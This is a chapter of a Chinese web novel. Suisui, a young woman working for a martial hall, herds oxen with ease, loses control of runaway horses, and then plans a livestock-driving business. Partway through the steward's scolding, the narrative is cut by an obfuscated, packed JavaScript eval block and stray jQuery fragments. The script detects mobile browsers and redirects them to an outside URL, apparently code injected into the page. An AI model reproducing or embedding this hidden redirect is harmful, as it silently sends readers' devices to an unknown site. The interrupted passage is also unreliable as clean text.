14.第 14 章

作品:《弃公主手握火葬场剧本

    穗穗顺手拿过柴门边挂的鞭条,迎着空气,往柴门前的空地挥下一鞭。


    不至惊悚,却又不失威严。被解了缰绳的牲口,像是通人性一般,乖乖向着声音来源走去。


    寻常需要大费周折才能赶出柴门,在穗穗手里,只需要简单的一次挥鞭。


    小哥有些震惊,但很快又说服自己,不过是巧合罢了,要将这些牲口赶到后门去,那才是真正的大麻烦。


    但穗穗似乎丝毫没有感觉到麻烦,走在牲口前面,不断往前方的空地挥鞭,这些牲口居然自觉排队,乖乖着她走。


    都是上了年纪的老牛,估计是平时在主家训练有素,倒也没什么稀奇的。


    小哥跟在后面,看得清清楚楚,队伍里一只初生牛犊,可不如其他牲口循规蹈矩。


    一会儿嗅嗅路边的杂草,一会儿用牛角撞撞骡子,眼见着小牛犊越过队伍,小哥悄悄勾起嘴角。


    小牛犊身子矫健,速度极快,原以为穗穗要被撞个人仰马翻,谁曾想,她居然像身后长耳朵,在牛犊距离自己几寸远时,猛然闪身,让牛犊一头栽进她身前的灌丛里。


    小牛犊顶了满头枝叶碎花,懵懵回身。眨眼功夫,穗穗已经挥动匕首,割下一袭裙布,招摇在它眼前。


    小牛犊被纱裙晃得神志不清,向着穗穗猛冲。穗穗手起刀落,砍掉它背部累赘的绳索,身法轻快如一片云彩,翻飞飘摇,不知怎的,竟跃上牛背,径直骑在小牛犊身上。


    “乖宝,那就你来带路吧。”


    她收刀入鞘,亲昵的摸了摸小牛犊初生的牛角,眉开眼笑,双脚一蹬,向着身侧空地落下一鞭。


    身后的老牛骡子自觉跟着这一人一牛,缓缓往后门走去。


    原先想看她好戏的小哥,此刻已经看呆在原地。


    能在武馆任职的,肯定身手不差。他知道这小姑娘力气不小,却不知道,她不仅孔武有力,身法还极其灵活,是他在北燕人身上从来没见过的灵活。


    看着穗穗兴高采烈的骑在小牛犊身上,小哥不禁深深怀疑,南楚莫不是有什么邪术不成?


    穗穗察觉到身后犹豫的脚步,抿唇轻笑。北燕人习惯了对付高大猛兽,反倒是拿这种小牲畜没有办法,觉得不可思议。但其实,她们南楚家家户户的放牛娃都会这些本领。


    悬日低垂,将行馆染成金灿灿的一片,在穗穗和小牛犊身上镀上一层金光。


    看着越来越近的后门,穗穗就感觉四倍工钱在向她招手,心情大好,顺手折了柳叶,给小牛犊编了只草环。


    行到后门时,所有人看见穗穗骑着牛犊走来,都难掩震惊。


    有消息灵通的,知道穗穗在冯馆主手下当差,忍不住夸赞道,“冯馆主慧眼识珠,这小牛犊寻常人拉都拉不住,女郎君竟能驾驭,堪称驭兽奇才。”


    穗穗跳下牛背,一边解释说,都是寻常功夫,一边帮忙装运货物。


    匕首在她掌心闪耀着银花花的光芒,切割、捆扎、搬运,一盏茶的功夫,货物已经整整齐齐的码放在牲口身上。


    尔后又有另外几人驭兽前来,皆是人仰兽翻,乌烟瘴气,不得不求助穗穗。


    穗穗心情颇好,没有推辞,接过缰绳,帮他们赶牛装货,一边与这些人交谈,才知大家自上京城各个武馆,彼此间并不认识。


    有位面善的大叔同她解释,“上京城暑气重,每年入夏,便是这些高门出游的高峰,各府管事奔走在各家武馆,四处请人帮忙,经常人手短缺。”


    “原来如此。”穗穗低声应着,心里朦胧有了些想法。


    她正忙着装运最后一袋行李,远处突然传来一声高呼,“那个谁,快来,快来帮忙!”


    声音落下,有人急切地推了推穗穗的肩膀,她抬起头,就见一直马队跌跌撞撞向后门奔来,缰绳拖在地上,一看就是失去了控制。


    大家都以为穗穗驭兽有方,赶忙招呼她去牵马。


    殊不知,其他牲口都好说,偏生马匹,她不行,她不善骑马。


    上学那会儿,同窗家里都有马场,有汗血宝马供以学习射御,独独她没有。


    骑马这事,没有别的诀窍,全靠多多练习。她没得练,自然表现不佳,到那年年尾,甚至连上马都困难。


    遭到宁国公严厉责骂之后,越发害怕。有次险些从马背上摔下去之后,便再也不敢碰骑术。


    此时天光已暗,夜色里传来马匹喘气和嘶鸣,远看去,就像一队不可名状的怪物。


    穗穗本能退后一步,却被身后不知实情的伙计合力推了出去。


    “我不行……”


    马蹄声震耳欲聋,穗穗的声音全然被掩盖。话未落尽,马缰已经被强行塞进她的手里,耳边传来不知谁的催促,


    “快呀!快拉住!”


    马尾鬃毛的味道钻进鼻尖,是熟悉的令人害怕的味道,穗穗好像回到了年少时那场颜面尽失的射御考核,恍惚中,只听见了“拉住”一个号令。


    夜色里,她本能抬手,握上一根粗糙扎手的绳索,尚未看清攀住了什么,便被强大的力道拖着飞了出去。


    身后传来倒吸冷气的声音。


    众人这下终于明白,这位女郎君,是真的不会对付马匹!


    所有人拔腿追着马队,七手八脚想要拉住乱窜的马匹。


    可是两条腿哪里跑得过四条腿。也不知穗穗攀上了哪处要害,马匹受惊癫狂,越过门槛,径直冲出后门。


    主家的行李被撂翻一地,眼看着就要冲上街道、撞上行人,千钧一发之际,守在后门的两名府丁冒险挡在马前,拦住了发狂的马匹。


    穗穗从马匹上滑下来时,已经双腿瘫软,直接跪坐在地上。


    很快,高府管事赶来,看见满地狼藉,劈头盖脸一顿痛骂,


    “我信任你,才把这么重要的工作交


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680465|154680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    给你,结果你就这样回报我的?简直太让我失望了!”


    穗穗心里委屈,驭马本也不是她的工作,她也遭受了无妄之灾。


    原想自认倒霉,大不了不要工钱了,可管事又说,“这一地的行李,女郎君得赔偿。老朽回到上京城就去找冯馆主,贵馆人才辈出,我高府以后都不会再招惹。”


    冯馆主好心为她介绍活计,她不能添乱。穗穗顾不得为自己辩解,不住哀求管事,


    “阁下行行好,是小女无能闯祸,需要如何赔偿小女都会负担,还请不要迁怒武馆,此事与冯馆主无关。”


    管事这段时间为了出游,忙得天旋地转,心里正窝了一团火气,哪里肯轻易罢休,任穗穗又是鞠躬又是磕头,丝毫不为所动。


    同伴们立在院墙下,不愿得罪高府,皆都不敢吭声。


    好心办坏事,穗穗心绪瞬间低落。凉凉月光铺在她跟前,她闷垂小脸跪在月光下,悲哀的想着该怎么跟冯馆主解释。


    恰在此时,一道醇厚的声音穿过夜色,落在耳畔,


    “不是这位女郎君的错。管事交代她驭兽,她完成得很好,赶马本就不在她的职责范围,管事莫要牵连无辜。”


    穗穗的心声被这个陌生人说了出来,她怔了一瞬,懵懵回头,看见停在院墙外的一顶软轿。


    雪白的罩面,泛起星星闪闪的银光,极尽低调的装潢,却掩不住轿身散发的通天贵气。


    轿子里的人轻轻揭开纱帘一角,露出一轮不似北燕人的温润侧颜。隔着遥远的距离,穗穗看不清他的面貌,却无端感觉他看了自己一眼,目光是温柔带笑的。


    他提点管事,“天气酷热难耐,高府举家出游,奢侈享受,这些人却得为此受累受苦。管事若是再苛责他们,怕是有违陛下仁义治国之心了。”


    高府管事认得来人,扑通一声跪在轿边,呜呼哀哉求饶。


    穗穗这才逃过一劫。


    回到上京,穗穗向冯馆主交代了事情全部经过。


    冯馆主有着出乎意料的大度,只说,“高家本就不是善茬,得罪了便得罪了。”


    许是他与高家有什么恩怨吧。穗穗问冯馆主,


    “我听其他伙计说,驭兽的工钱要远高于负卒。此话当真?”


    冯馆主猜出她的想法,“前者只是简单出力,后者还要和牲口打交道,自然不能等同。女郎君是想去各府驭兽赚钱?”


    穗穗点头。


    不止如此。她问过了,上京城没有专门从事驭兽的商队,都是来武馆请人,十分麻烦。


    她在想,能不能自己办一个商队,专门承接高门驭兽的活计。


    冯馆主提醒她,“女郎君身法灵活,等闲牲口不在话下。只是北燕人生长在马背上,最常见的还是马匹,依着女郎君的骑术……”


    这确实有些麻烦。若她想依靠驭兽赚钱,便逃不开最害怕的驭马一事。